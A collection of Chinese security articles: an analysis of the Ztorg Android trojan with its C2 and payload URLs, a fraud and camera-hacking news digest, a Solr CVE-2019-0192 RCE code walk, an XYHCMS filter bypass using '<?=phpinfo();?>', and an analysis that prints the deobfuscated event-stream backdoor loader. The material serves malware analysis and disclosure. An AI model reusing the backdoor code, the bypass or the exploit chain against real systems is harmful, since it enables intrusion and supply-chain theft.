text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 【木马分析】针对Google Play上出现的Ztorg木马变种分析
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/analysis/publications/78325/ztorg-money-for-infecting-your-smartphone/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
我们对Ztory变种的[研究](https://securelist.com/blog/mobile/76081/rooting-pokemons-in-google-play-store/)始于在Google Play上所发现的某个恶意软件，该软件伪装成Pokemon GO的指南应用，在Google
Play上存活了几周的时间，下载量达到500,000多次。我们将该恶意软件标记为Trojan.AndroidOS.Ztorg.ad。经过一番搜索，我发现Google
Play商店中还存在其他类似的恶意应用，第一个应用就是“Privacy Lock”应用，该恶意应用于2016年12月15日上传到Google
Play中，是最流行的Ztorg变种之一，有超过1百万次的安装量。
在跟踪这类被感染的应用程序一段时间之后，有两个现象让我非常吃惊，那就是这些应用传播非常迅速而且应用的评论比较特别。
**二、流行性分析**
这些被感染的应用扩散速度非常快，每天都有超过上千个新用户激活。
比如，在我将com.fluent.led.compass报告给Google的那天，这个应用有10,000-50,000次安装量。
然而，第二天Google
Play上还是能看到这个应用的身影，并且这个应用的安装次数增加了十倍，达到了100,000–500,000。这意味着在短短一天内，至少有5万名新用户被感染。
**三、应用评论**
在这些应用的评论中，很多人提到他们是为了赚取信用、金币等等才下载这些应用。
在某些评论中，用户还提到了其他应用，比如Appcoins、Advertapp等。
综合这些原因，我着手开始研究这些应用。
**四、广告**
**4.1 付费推广的应用**
大多数评论中提到的应用为Appcoins，因此我安装了这个应用。安装完毕后，它推荐我安装其他一些应用来赚取0.05美元，其中包括某个恶意应用。
说实话，我比较惊讶的是只有一个应用是恶意的，其他应用都是干净的。
有趣的是这些应用会检查它们是否具备目标设备的root权限，如果已具备目标设备的root权限，它们就不会付给用户酬劳。感染目标设备后，Ztorg变种干的第一件事情就是获取超级用户（superuser）权限。
我联系过Appcoins的开发者，想知道这些恶意广告的来源，然而他们只是删除了这些推广广告，然后告诉我他们没有发现恶意软件，因此他们没有做错什么。
之后我分析了被感染用户所安装的那些应用，整理了一份向用户付费以推广应用的列表，进入这个列表的应用安装量都比较大。列表中包含以下应用：
[mobi.appcoins](https://play.google.com/store/apps/details?id=mobi.appcoins)
[com.smarter.superpocket](https://play.google.com/store/apps/details?id=com.smarter.superpocket)
[com.moneyreward.fun](https://play.google.com/store/apps/details?id=com.moneyreward.fun)
当然，这些应用也都在推广其他恶意应用：
每当用户从Google Play上下载及安装被Ztorg感染的应用后，这些应用都会向用户支付0.04-0.05美元。
**4.2 广告联盟**
因此我决定好好研究一下这些应用，导出并分析这些应用的流量。
一个广告应用变成一个恶意应用的典型流程如下：
1、应用程序从服务器接收推广命令（包括恶意推广在内，如moneyrewardfun[.]com）。恶意推广都来自于著名的广告服务商（通常为supersonicads.com以及aptrk.com）。
2、经过广告服务商域名的几次重定向之后（在某个案例中，重定向次数达到了27次），应用会访问global.ymtracking.com或者avazutracking.net，这两个URL也与广告有关系。
3、应用再次重定向到track.iappzone.net。
4、最终指向Google Play应用商店的URL为app.adjust.com。
在我导出的所有推广链接中，都会包含track.iappzone.net以及app.adjust.com这两个URL。
adjust.com是一个著名的“商务智能平台”；恶意广告联盟中使用的URL地址如下所示：
https://app.adjust.com/4f1lza?redirect=https://play.google.com/store/apps/details?id=com.game.puzzle.green&install_callback=http://track.iappzone.net
我们能够通过这类URL地址，识别出Google Play上被感染的那些应用程序。
**4.3 恶意服务器**
来自于iappzone.net的URL如下所示：
http://track.iappzone.net/click/click?offer_id=3479&aff_id=3475&campaign=115523_201%7C1002009&install_callback=http://track.supersonicads.com/api/v1/processCommissionsCallback.php?advertiserId=85671&password=540bafdb&dynamicParameter=dp5601581629793224906
在这个URL中，“offer_id=..&aff_id=..&campaign=..”与OffersLook跟踪系统有关。URL中包含许多有趣的部分，比如推广ID（offer
id）、归属ID（affiliate
id）等。我发现不同的攻击者所使用的这些字段值也不一样，因此我们没法使用这些参数，但install_callback这个参数对我们而言是有价值的，这个参数包含广告服务商的名字。
在搜索iappzone.net时，我发现某些APK文件包含了这个URL，这些应用都被卡巴斯基实验室标记为Ztorg恶意软件。有趣的是iappzone.net的IP地址为52.74.22.232，这个地址也被aedxdrcb.com所使用，后者出现在CheckPoint的gooligan研究报告中。这个报告公布几周之后，iappzone.net迁移到了一个新的地址上：139.162.57.41，新的这个地址没有在报告中出现过。
**4.4 广告模块**
幸运的是，我不仅能在APK文件中找到iappzone.net，也能在干净应用的网络流量中找到这个特征。所有的这些应用都包含广告模块，大多数情况下为Batmobi或者Mobvista。这些广告模块的网络流量与付费推广应用的网络流量看起来非常相似。
以某个使用Batmobi广告模块的应用为例。这个模块从api2.batmobil.net服务器接收一个包含推广信息的JSON文件，如下所示：
用户会看到如下所示的一个推广应用列表：
用户点击这些广告后，会被重定向到Google Play商店中：
在这个例子中，重定向过程如下所示：
api2.batmobil.net -> global.ymtracking.com->tracking.acekoala.com -> click.apprevolve.com ->track.iappzone.net ->app.adjust.com -> play.google.com
在分析了包含iappzone.net的广告应用后，我发现Google Play上有将近100个被感染的应用被推广过。
这些广告软件比较有趣的另一点就是，它们的URL地址都包含我前面提到过的install_callback参数。结果表明，攻击者只使用了4个广告网络。
**4.5 广告源**
通过track.iappzone.net，我们发现有4个不同的install_callback参数，占比如下：
但这并不意味着恶意软件只通过这4个网络进行分发。这些广告网络向许多广告公司售卖他们的广告。在我的研究中，我看到某些恶意广告来自于其他广告网络，如DuAd或者Batmobi，但经过几次重定向之后，这些广告总会指向上表列出的4个广告网络中的某一个。
此外，我跟踪了几个恶意的广告软件，发现有如下的重定向过程：
Batmobi -> Yeahmobi-> SupersonicAds
这意味着这些网络之间也会向彼此重新分发广告。
截至2017年3月底，我没有在install_callback参数中发现其他的广告网路。
**4.6 其他源**
在研究过程中，我发现某些已感染的应用没有通过这些广告网络进行推广。经过分析，我发现这些应用的文件路径中包含某些特征。这些应用所在的文件路径（除了安装路径“/data/app”之外）主要如下所示：
[sdcard]/.android/ceroa/play/
[sdcard]/.nativedroid/download/
[sdcard]/.sysAndroid/download/
[sdcard]/.googleplay_download/
[sdcard]/.walkfree/apks/583737491/
[sdcard]/Android/data/TF47HV2VFKD9/
[sdcard]/Android/Data/snowfoxcr/
[sdcard]/DownloadProvider/download/
我分析了包含以上路径的那些应用，发现它们都被卡巴斯基实验室的产品标记为广告软件或恶意软件。然而，下载到这些路径的应用不全为恶意软件，其实这些应用大部分都是干净的。
注：占比指的是下载到同一目录中的恶意软件在全部应用中的比例。
**五、已感染的应用**
**5.1 类似应用**
我分析了所有被感染的应用，令我惊讶的是，这些应用看起来并不是因为被恶意代码篡改而被感染的。在许多情况下，攻击者会将恶意代码添加到干净的应用中，但本文分析的这些应用不属于这类情况。貌似这些应用就是专门为分发恶意软件而创建的。
**5.2 Google Play上的应用发布者**
其中部分应用在Google Play上的发布者信息如下所示：
经过一番搜索，我发现大部分邮箱都与越南有关。
比如：
1、trantienfariwuay -> tran tien [fariwuay] – 某个越南歌手
2、liemproduction08 -> liem production [08] – Thuat Liem
Production，为越南胡志明市的一家公司
3、nguyenthokanuvuong -> nguyen [thokanu] vuong – 中文名“Wang Yuan”的越南版
**5.3 恶意模块**
这些来自于Google Play的所有被感染的应用都包含同样的功能，那就是下载并执行主功能模块。在分析过程中，我发现有三个模块具备此功能。
**5.3.1 Dalvik**
使用此类型恶意模块的Google
Play应用都使用加壳器进行保护。以包名为“com.equalizer.goods.listener”的应用为例，这个应用使用了奇虎加壳器进行处理。这个应用有许多不同的类，但只有一部分类与恶意模块有关。PACKAGE_ADDED以及PACKAGE_REMOVED这两个系统事件会触发恶意代码执行。这意味着只有在用户安装、更新或者删除某个应用后，恶意代码才会开始执行。
开始运行时，恶意模块会检查自己是否运行在虚拟机、模拟器或者沙箱中。为了完成这一检测过程，它会检查不同机器上的数十个文件，同时也会检查数十个不同的系统属性。如果这个检查过程通过，木马将会启动一个新的线程。
在这个新的线程中，木马会随机等待一段时间，大约为1到1个半小时。等待时间结束后，它会向C2服务器（em.kmnsof.com/only）发起一个HTTP
GET请求，然后会收到服务器返回的一个经过DES加密的JSON文件。这个JSON文件包含一个URL，通过这个URL可以下载某个文件。所下载的这个文件经过异或处理，包含恶意的class.dex模块，也就是主功能模块。
**5.3.2 Native**
自2016年10月以来，我已经向Google报告了许多使用该恶意模块的应用，因此Google得以改进他们的探测系统，拦截了大多数恶意应用。这意味着攻击者必须绕过官方的检测机制。最开始的时候，攻击者通过修改源代码中的某些方法以及使用商业加壳器来绕过检测。但在2017年2月，他们重写了这个代码，将所有的功能迁移到ELF库中（native模式，.so库）。
以com.unit.conversion.use为例（MD5为92B02BB80C1BC6A3CECC321478618D43）。
恶意代码会在应用的onCreate方法中执行：
已感染的classes.dex中的恶意代码比较简单，恶意代码会启动一个新的线程，加载MyGame库，代码包含两个检测沙箱的方法，这两个方法会通过库加载执行。
这个版本所使用的等待时间比上一个版本小得多，它在执行代码前只等待了82秒。
MyGame库在执行后，会执行classes.dex中的两个方法，以检查自己是否运行在沙箱中。其中一个方法会尝试注册BATTERY_CHANGED事件的接收器，检查是否注册成功。另一个方法会尝试使用MATCH_UNINSTALLED_PACKAGES标志获取com.android.vending
package（即Google Play商店）的应用信息。如果这两个方法都返回“false”，这个恶意库就会向命令服务器发起一个GET请求：
服务器返回的信息为“BEgHSARIB0oESg4SEhZcSUkCCRFICAUSHwoLEhZIBQkLSQ4fSQ4fVlZVSQEWVlZVSAcWDUpeVg==”。
这个库会使用0x66作为异或密钥，用来解码这个响应消息
解码后的结果为：
b.a.b.a,b,http://dow.nctylmtp.com/hy/hy003/gp003.apk,80
与代码中对应的变量为：
g_class_name = b.a.b.a
g_method_name = b
g_url = http://dow.nctylmtp.com/hy/hy003/gp003.apk
g_key = 80
g_url所指向的.apk文件会被下载到app缓存目录中（/data/data/<package_name>/cache）。这个库会使用g_key作为密钥，对apk文件进行异或处理，然后使用DexClassLoader类中的ClassLoad方法加载解密后的apk文件。
正如我们所看到的，攻击者对恶意代码做了大量修改，将Java代码替换为C代码。但恶意功能得以保留，比如依然能够连接到C2服务器、下载和执行主模块。
在我成功提取这些恶意软件的包ID之后，我在测试设备上通过Google
Play安装了已感染的应用，但没有观察到任何现象。经过一番调查，我发现攻击者只会向用户提供一个恶意载荷，通过广告来安装应用。然而，我在测试设备上通过Google
Play安装其他一些被感染应用后，它们会立刻感染我的测试设备，甚至不需要我点击任何广告。
**5.3.3 下载器**
2017年4月，攻击者再次更改了Ztorg的代码。在第三种恶意模块中，攻击者将所有的功能再次迁回到classes.dex。这个版本的模块与之前版本的主要区别在于它再也不是一个木马下载器。这个版本的恶意模块不会从恶意服务器上下载主功能模块，而是在安装包的Assets文件夹中包含一个加密的模块。这个加密模块使用0x12密钥进行异或解密，再使用ClassLoad方法加载执行。
**5.3.4 载荷（主模块）**
在我所分析的所有的攻击活动中，它们使用的主模块功能都具备相同的功能。以最新的变种（2dac26e83b8be84b4a453664f68173dd）为例，这个变种由某个应用（“com.unit.conversion.use”）通过恶意的MyGame库下载所得。
载荷模块由已感染的模块下载，使用ClassLoad方法加载运行。载荷模块的主要目的是获取root权限并安装其他模块，该模块通过下载或释放其他模块方式达到这一目标。
某些文件没有对应的URL地址，只能由该模块释放得到。
在研究过程中，使用“down.118pai.com”域名的某些URL已经失效，使用这些URL的所有文件都可以通过载荷释放而得。其他使用“sololauncher.mobi”以及“freeplayweb.com”作为URL的文件只能通过远程方式下载得到，这些URL在研究过程中都是有效的。
在2016年9月版本的主模块中，所有的URL使用的都是“down.118pai.com”域名，并且这些URL当时处于活跃状态。
载荷所释放或下载的某些恶意文件会添加到“/system/etc/install-recovery.sh”文件中。这意味着即使目标设备恢复为出厂设置状态，这些文件依然存在。
载荷释放和下载的文件可以归为以下几类：
1、非恶意文件及工具
2、漏洞利用相关工具
这些文件中大多数都是通过木马下载而得，但某些文件只能通过木马文件释放。然而，大多数下载的文件与7个月之前（即2016年9月）的版本相同。
3、原生（ELF）恶意模块
所有的这类文件只能通过木马文件释放，不能通过下载方式获取。
4、恶意应用
这四个恶意应用的分析如下：
（1）.gmtgp.apk (7d7247b4a2a0e73aaf8cc1b5c6c08221)
该恶意应用被检测为Trojan.AndroidOS.Hiddad.c，它会（从C2服务器http://api.ddongfg.com/pilot/api/上）下载另外一个加密模块，经过解密处理后再加载该模块。在分析过程中，该样本下载的模块为Trojan-Clicker.AndroidOS.Gopl.a（af9a75232c83e251dd6ef9cb32c7e2ca）。
木马的C2服务器为“http://g.ieuik.com/pilot/api/”，还可以使用“g.uikal.com”以及“api.ddongfg.com”作为C2服务器的域名。
该木马使用无障碍辅助服务（accessibility services）从Google Play应用商店上安装（甚至购买）应用。
木马将应用下载到SD卡上的“.googleplay_download”目录，使用无障碍辅助服务，模拟点击按钮来安装下载的应用。“.googleplay_download”文件夹是Ztorg木马传播所使用的文件夹之一。木马能够识别13种语言的按钮，包括英语、西班牙语、阿拉伯语、印地语，印尼语、法语、波斯语、俄语、葡萄牙语、泰语、越南语、土耳其语以及马来语。
（2）dpl.apk (87030AE799E72994287C5B37F6675667)
这个模块用来检测模拟器、沙箱以及虚拟机的方法与原始的模块一样。
该木马会从C2服务器（api.jigoolng.com/only/gp0303/12.html）上下载一个加密的文件，保存为目标设备的“/.androidsgqmdata/isgqm.jar”文件。文件解密完成后会被木马会加载。
dpl.apk的主要功能是下载及安装应用，它可以从以下几个C2服务器上接收指令：
1、log.agoall.com/gkview/info/,
2、active.agoall.com/gnview/api/,
3、newuser.agoall.com/oversea_adjust_and_download_write_redis/api/download/,
4、api.agoall.com/only/
该模块会将下载的应用保存到SD卡上的DownloadProvider目录，该目录也是Ztorg木马所使用的目录之一。
我所研究的样本下载了5个恶意的APK文件，其中4个安装成功，并且会出现在设备的已安装应用列表中。
（3）.gma.apk (6AAD1BAF679B42ADB55962CDB55FB28C)
该木马会尝试下载isgqm.jar模块，这个模块的主要功能与其他模块的相同。不幸的是，木马的C2服务器（a.gqkao.com/igq/api/，d.oddkc.com/igq/api/，52.74.240.149/igq/api，api.jigoolng.com/only/）没有返回任何响应，因此我没办法了解这个应用的主要目的。
这个应用会修改目标设备上的“/system/etc/install-recovery.sh”，将下载的应用保存到SD卡的“/.androidgp/”文件夹中，并将这些应用安装到系统文件夹中（/system/app/或者/system/priv-app/）。
我认为这个木马的功能是用来更新其他的模块。
（4）.gmq.apk (93016a4a82205910df6d5f629a4466e9)
该木马无法通过C2服务器（a.apaol.com/igq/api，c.oddkc.com/igq/api，52.74.240.149/igq/api）下载它所用的isgq.jar模块。
**5.3.5安装的应用**
设备感染木马后，会静默下载及安装以下应用。这些应用都包含非常著名的广告服务。
这些应用还包含其他恶意模块，在成功接收C2服务器的指令后，会开始下载广告及其他应用。
但使用干净的广告网络（如Mobvista以及Batmobi）也会出现递归广告现象，因为最开始被感染的应用也是通过这些广告网络进行投递。
成功感染目标设备后，木马会创建一些新的文件夹，如下所示：
1、.googleplay_download
2、.nativedroid
3、.sysAndroid
4、DownloadProvider
某些恶意软件会使用这几个文件夹来传播Ztorg木马，木马感染成功后会使用这些文件夹来投递其他应用，其中包含某些恶意应用。
**5.4 其他木马**
在这次研究过程中，我们发现从Google Play上下载的每个木马基本都包含前文描述的三个恶意模块之一，但我们还是发现了其他一些不同的木马。
其中一个木马名为Money
Converter（com.countrys.converter.currency，55366B684CE62AB7954C74269868CD91），这个木马已经通过Google
Play渠道安装了超过10,000次。它的目的与.gmtgp.apk模块类似，会使用无障碍辅助服务从Google
Play上安装应用。因此，即使无法获取设备的root权限，这个木马也可以不需要跟用户交互，静默安装及运行推广应用。
该木马的C2服务器地址与.gmtgp.apk所使用的C2服务器地址相同。
**六、总结**
在本次研究过程中，我发现Trojan.AndroidOS.Ztorg木马以不同的应用（超过100个应用）上传到Google
Play商店中。第一个与之相关的应用是Privacy Lock，于2015年12月中旬上传到Google
Play商店中，有超过1百万次的安装量。从2016年9月份起，我就开始跟踪这个木马，之后我发现Google
Play上至少还有3个新的已感染的应用。我最近发现的木马应用于2017年4月份上传到Google Play上，我相信还有会其他的木马应用被上传上去。
这些木马应用都非常受欢迎，它们的扩散速度非常快，每天都有成百上千个新用户被感染。
我发现这些木马会通过广告网络实时投放。与之相关的广告地址都包含相同的URL，因此我们可以借此跟踪有哪些新感染的应用被下载。
让我非常惊讶的是，某些应用会向用户支付酬劳以推广应用，进而投递这些木马。事实证明，某些用户会收到几美分的酬劳，代价是他们的设备会在毫不知情的情况下被感染。
在木马投递方面，还有一件事情比较有趣，那就是感染成功后，木马会使用某些广告网络向用户展示广告，以便安装推广应用。这种情况下，在已感染的设备上会出现广告递归现象，即设备因为某个广告网络投递的某个恶意广告而被感染，感染之后，设备上的木马及木马模块会再次使用相同的广告网络来向用户展示广告。
攻击者之所以能够成功将被感染的应用在Google
Play上发布，是因为他们使用了许多技术来绕过官方的检测。攻击者始终不断地在他们的木马中研发和应用新的技术。这个木马拥有模块化的架构，使用了多个具有不同功能的模块，这些模块都可以通过互联网进行更新。在感染过程中，Ztorg会使用多个本地root漏洞利用工具来获取设备的root权限。获取root权限后，木马就能实现在目标设备上的驻留，也可以更加粗暴地投递广告。 | 社区文章 |
# 安全快讯20 | 黑客入侵5万台家用摄像头，并在网络出售
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 诈骗先知
### 半年获利近3000万，养2000万个QQ号给骗子用
近期，徐州警方捣毁了一个为网络诈骗、赌博等犯罪提供即时通信工具“养号”、交易的特大黑产平台，抓获犯罪嫌疑人84名，涉案金额5000多万元，平台注册用户数量高达14万。令人震惊的是，涉案平台上绑定的QQ号高达2000万个，在全国1300多起网络诈骗案件中，犯罪分子使用的QQ号均来自这个小果平台。
**打通卡商、号商**
号商手里有大量的QQ号码，他们为了控制和使用这些QQ号码，需要绑定大量的手机卡，小果平台上的卡商拥有大量的手机卡。号商把这些QQ号码批量绑定到小果平台上卡商的手机卡上，卡商通过购买猫池、卡池和物联网卡，租用场地建立猫池窝点，通过小果平台的客户端软件接入小果平台，远程对手机卡进行批量的操作。
小果平台犯罪链条演示，图片来源：公安部网安局
简而言之，小果平台变成了一个打通卡商和号商的中介平台。在小果平台上，QQ号可以随意买卖，而且根据QQ号的等级不同，价格从几元到上万元不等。同时，号商充值QQ号、发送短信等服务都要给小果平台支付一定费用。
被查处的设备和非法所得，图片来源：公安部网安局
网络诈骗的职业化、产业化趋势，在近年来破获的相关案件中已经有很清晰的呈现。此次特大网络黑产养号平台浮出水面，则又揭示了 **网络诈骗的平台化趋势。**
平台的主要“威力”体现在，可以通过批量操作轻松突破一些实时通讯工具的实名制防线。
**大量没有经过实名认证的社交账号，都能在平台批量解绑、换绑、找回密码。**
同时，它还充当了“中间商”的作用，平台上的账号可以随意买卖。另外，此次查获的黑产平台主要瞄准的是通讯工具，而在短视频流行的今天，也要警惕一些黑产开辟新的“阵地”。
## 行业动态
### 工信部提醒及时设置SIM卡密码，谨防不发个分子窃取个人信息
根据工信部消息，个别不法分子可通过其他途径获取到受害人手机号，可以通过SIM卡进一步盗取个人信息，通过某 APP盗取，然后再申请网贷消费，造成用户财产损失。
不法分子通过 **“手机号码+验证码”** 的弱验证手段，获取某政务
APP用户身份号码等个人重要信息，利用用户个人信息更改手机服务密码，并利用话术诱使电信企业客服人员挂失电话卡，利用部分网贷平台“找回用户密码”漏洞重新设置用户支付密码，骗取网贷资金，最终造成用户财产损失。
针对这一情况，工信部要求三大基础电信企业在涉及用户身份识别的敏感环节，在方便用户办理业务的同时，加强安全防护，加强客户服务人员的风险意识培训，提高对业务办理中异常行为的警觉。
此外，工业和信息化部还建议相关单位和企业及时对数据进行脱敏处理，并建议相关行业根据收集、存储、使用用户个人信息的基本要求，对收集、存储、使用的用户个人信息进行分级、妥善保管。同时，工业和信息化部也提醒广大用户，
SIM卡必须设置密码，一旦密码丢失，应立即挂失，加强安全防范意识。
## 国际前沿
### 黑客称入侵5万台家用摄像头，并在网上发布、出售录像
近日，有一群黑客声称，他们入侵了50000多个家庭的安全摄像机，并在网上发布了部分私人录像。某些录像镜头甚至在成人网站公开售卖，售价150美元，可以终生使用收藏。“该黑客团伙可以在社交消息平台Discord上找到，目前在全球拥有近1000名会员。截至周六，他们声称已与70多个会员共享了超过3TB的剪辑，这些会员为终身访问支付了150美元（203新元）的订阅费。”
这些剪辑的录像视频显示了各个年龄段的人，有情侣、哺乳期的妈妈，甚至是青少年和儿童，其中一些甚至没有穿衣服。这些大部分的视频似乎都来自新加坡，其他私人视频则来自生活在泰国、韩国和加拿大的人们。
图片来自网络报道
经查证，这个“猖狂”的黑客团队使用即时通讯软件Discord拥有了近1000名成员，主要致力于黑客监控摄像头。为了让更多的人支付订阅费，该团伙还提供了一个免费样本，其中包含700兆字节的数据，其中包括4000多个剪辑和图片。他们还将与客户一起访问所有被劫持的摄像机。
目前，仍不清楚这伙黑客是如何破坏IP摄像机的，可能是利用了设备中的某些漏洞，或者是通过弱密码。ESET的安全专家表示：“看起来令人担忧，这清楚地提醒我们，当将摄像机放置在互联网上时，必须牢记安全的正确安装它们。” | 社区文章 |
### 前言
第二次分析 solr 了
漏洞详情：<https://issues.apache.org/jira/browse/SOLR-13301>
漏洞POC：<https://github.com/mpgn/CVE-2019-0192>
影响版本：5.0.0 ~ 5.5.5、6.0.0 ~ 6.6.5
安全版本：7.0
简要描述
ConfigAPI allows to configure Solr's JMX server via an HTTP POST request.By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.
### 调用栈
Solr 中由配置文件触发 Jmx流程：
org.apache.solr.handler.SolrConfigHandler#handleRequestBody
->
org.apache.solr.handler.SolrConfigHandler.Command#handlePOST
->
org.apache.solr.handler.SolrConfigHandler.Command#applySetProp
->
org.apache.solr.core.CoreContainer#reload
->
org.apache.solr.core.SolrConfig#SolrConfig
->
org.apache.solr.core.SolrCore#reload
->
org.apache.solr.core.SolrCore#SolrCore
->
org.apache.solr.core.SolrCore#initInfoRegistry
->
org.apache.solr.core.JmxMonitoredMap#JmxMonitoredMap
->
javax.management.remote.JMXConnectorServerMBean#start
### 分析过程
其路由过程不再分析，在 <https://xz.aliyun.com/t/1523> 这篇文章中分析过
直接到 ReuqestHandler 中，访问路径 /config 可以进入 SolrConfigHandler#handleRequestBody
中，如下图：
由poc知道我们走的是 POST 的处理流程，跟进 handlePOST 函数
如上图看见关键词 Config Overlay ，跟进 else 代码块调用的 handleCommands 函数，如下
第一个框就是 poc 给出的 POST 数据中指定的 set-property 流程，但是我感觉第二个框也可以，不过具体情况没测试
跟入 applySetProp 函数，如下
private ConfigOverlay applySetProp(CommandOperation op, ConfigOverlay overlay) {
Map<String, Object> m = op.getDataMap();
if (op.hasError()) return overlay;
for (Map.Entry<String, Object> e : m.entrySet()) {
String name = e.getKey();
Object val = e.getValue();
Class typ = ConfigOverlay.checkEditable(name, false, null);
[……中间省略了解析 POST 数据的流程……]
overlay = overlay.setProperty(name, val);
}
return overlay;
}
}
如上，注意力转向 setProperty 的调用，跟进
这里就是将 POST 参数做处理后，全部用于生成一个新的 ConfigOverlay 对象并将其返回到 handleCommands 函数中的
overlay 变量去接受赋值
标注 handleCommands 中的 overlay 变量，看到如下调用
If 代码块是处于 zookeeper 分布式状态下的，也能触发成功，不过为了便于分析，我们跟进 else 代码块：单机孤儿模式
可以看见调用了 persistConfLocally 猜测应该是将刚刚生成的 ConfigOverlay 对象的数据做持久存储，其中
ConfigOverlay.RESOURCE_NAME 的值为：
public static final String RESOURCE_NAME = "configoverlay.json";
数据应该是存入了 configoverlay.json 中
第二步就调用了 reload 函数，重启服务器
其实这里我是反向跟踪的，因为 reload 流程中会有大量的 initial 操作，根本分不清啥时候会加载我们指定的配置，从
ConfigOverlay.RESOURCE_NAME 入手
这里有个获取流数据操作，八九不离十就是这里，但是为了调用流程直观，我们还是从 reload 流程中讲述
注意到了这一句，重新加载的话，所有配置文件也会重新加载一次，既然之前写入了 configoverlay.json 文件中，那也算作是配置文件，跟进
getConfig 函数
很显眼 createSolrConfig 函数流程肯定是重加载配置，一直跟踪到 SolrConfig#SolrConfig 中，如下：
看见 overlay 了，跟进到 getConfigOverlay 函数如下
这里就刚好和前面搜索到的流数据操作吻合，那么继续在 SolrConfig 的构造函数中查看，找到如下
上图中看见了 poc 中指定的三个参数，并且用他们创建了 JmxConfiguration 对象赋值给 jmxConfig
这里还没完，JmxConfiguration 仅仅是存储信息的，并没有执行任何操作，跟踪 jmxConfig 参数如下
跟入红框所示位置
JmxMonitoredMap 的构造函数中就进行了 JMX 监控操作，可以触发 rmi 序列化
但是这里属于 initInfoRegistry 函数中，还不清楚这个函数在哪儿调用，反向查找在 SolrCore 的构造函数中被调用到
SolrCore 的构造函数由 CoreContainer#reload 调用的 SolrCore#reload 触发
至此服务端触发jmx流程已经完整
### 链接
漏洞详情：<https://issues.apache.org/jira/browse/SOLR-13301>
漏洞POC：<https://github.com/mpgn/CVE-2019-0192>
<https://issues.apache.org/jira/secure/attachment/12961503/12961503_SOLR-13301.patch>
<https://lucene.apache.org/solr/guide/6_6/config-api.html#ConfigAPI-CommandsforCommonProperties> | 社区文章 |
# xyhcms v3.6 命令执行
## 漏洞描述
XYHCMS是一款开源的CMS内容管理系统。
XYHCMS后台存在代码执行漏洞，攻击者可利用该漏洞在site.php中增加恶意代码，从而可以获取目标终端的权限。
## 复现
按步骤安装，查看site.php(App/Runtime/Data/config/site.php)
注意到后台：
配置文件写入到site.php当中
查看App/Manage/Controller/SystemController.class.php
if (stripos($data[$key], '<?php') !== false || preg_match($preg_param, $data[$key])) {
$this->error('禁止输入php代码');
}
可以很简单的绕过
<?=phpinfo();?> | 社区文章 |
# 现实版解密游戏——NPM 软件包event-stream恶意篡改事件后门代码分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
声明：本文由 图南@360 A-Team 原创，仅用于研究交流，不恰当使用会造成危害，严禁违法使用，否则后果自负。
## 事件始末
2018年11月21日，名为 @FallingSnow的用户在知名JavaScript应用库event-stream的Github
issuse中发布了针对植入的恶意代码的疑问[I don’t know what to
say](https://github.com/dominictarr/event-stream/issues/116)，表示event-stream中存在用于窃取用户数字钱包的恶意代码。
event-stream 被很多的前端流行框架和库使用，每月有几千万的下载量。在 Vue 的官方脚手架 vue-cli和Node.js开发者广泛使用的Node.js文件变化监控nodemon中也使用了这个依赖。
这个事件在Github issuse中掀起了大规模的讨论，因为攻击者（@right9ctrl）在大概 3 个月前明目张胆的添加了攻击代码，并提交到了
GitHub，随后发布到了 npm。于是 @FallingSnow 在 GitHub 上询问“为什么 @right9ctrl
有这个项目的访问权限呢？”得到的回复是：“ event-stream作者已经很久不维护这个包了，@right9ctrl发邮件给他说想维护，于是就把维护权限交给了他。”目前npm已经下架恶意软件包。
## 环境搭建
* Node.js 运行环境
* 问题软件包样本 因为现在npm已经删除了有问题的软件包flatmap-stream，我的样本来自项目中的nodemon包中
## 篡改代码分析
先看下git commit记录，[event-stream#commite316336](https://github.com/dominictarr/event-stream/commit/e3163361fed01384c986b9b4c18feb1fc42b8285)
可以看到@right9ctrl增加了flatmap-stream包的引用。 去样本中flatmap-stream包查看源码，可看到如下目录结构。
这里有一点很鸡贼，在Node.js中，一般默认文件为index.js，然而后门作者在package.json中设置真正的入口文件是index.min.js，index.min.js是压缩代码，难理解，不易察觉。
从命名上看，index.min.js是index.js的压缩版，内容本应一样。然而在index.min.js文件的最后发现比index.js多出一些代码：
展开这行压缩外码如下：
!(function() {
try {
var r = require,
t = process;
function e(r) {
return Buffer.from(r, "hex").toString();
}
var n = r(e("2e2f746573742f64617461")),
o = t[e(n[3])][e(n[4])];
if (!o) return;
var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor();
(f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
} catch (r) {}
})();
这里就看到了后门作者第二个鸡贼点了，找到代码依然看不懂什么意思。由于例子特殊，此分析不使用断点调试，我去用这段代码加上一些注释和输出去剖析它到底干了啥。
先把前面两段翻译一下
function e(r) {
return Buffer.from(r, "hex").toString();
}
var n = require(e("2e2f746573742f64617461")),
o = process[e(n[3])][e(n[4])];
console.log(`var n = require(${e("2e2f746573742f64617461")})`,`o = process[${e(n[3])}][${e(n[4])}]`)
输出如下：
由此输出我们得知，后门作者在这里引用了包内的./test/data这个文件，并且用到了一个环境变量是在Node.js项目package.json中的描述字段，此字段会在Node.js程序运行时生成环境变量npm_package_description。回头看这个目录中的内容，是一坨加密的数组。
后面的程序内容都是通过这串数组去执行的。继续分析到后面发现无论我怎样log都不输出了，说明后面的代码根本没有走，于是我在代码分支之前把后面的代码按照上面的方式先翻译过来。
console.log(`var u = require(${e(n[2])})[${e(n[6])}](${e(n[5])}`)
console.log(`a = u.update(${n[0]})[${e(n[8])}](${e(n[9])}`)
console.log(`a += u.final(${e(n[9])})`)
console.log(`var f = new module.constructor();`)
console.log(`(f.paths = module.paths), f[${e(n[7])}](a, ""), f.exports(${n[1]})`)
if (!o) return;
var u = require(e(n[2]))[e(n[6])](e(n[5]), o),
a = u.update(n[0], e(n[8]), e(n[9]));
a += u.final(e(n[9]));
var f = new module.constructor();
(f.paths = module.paths), f[e(n[7])](a, ""), f.exports(n[1]);
输出如下：
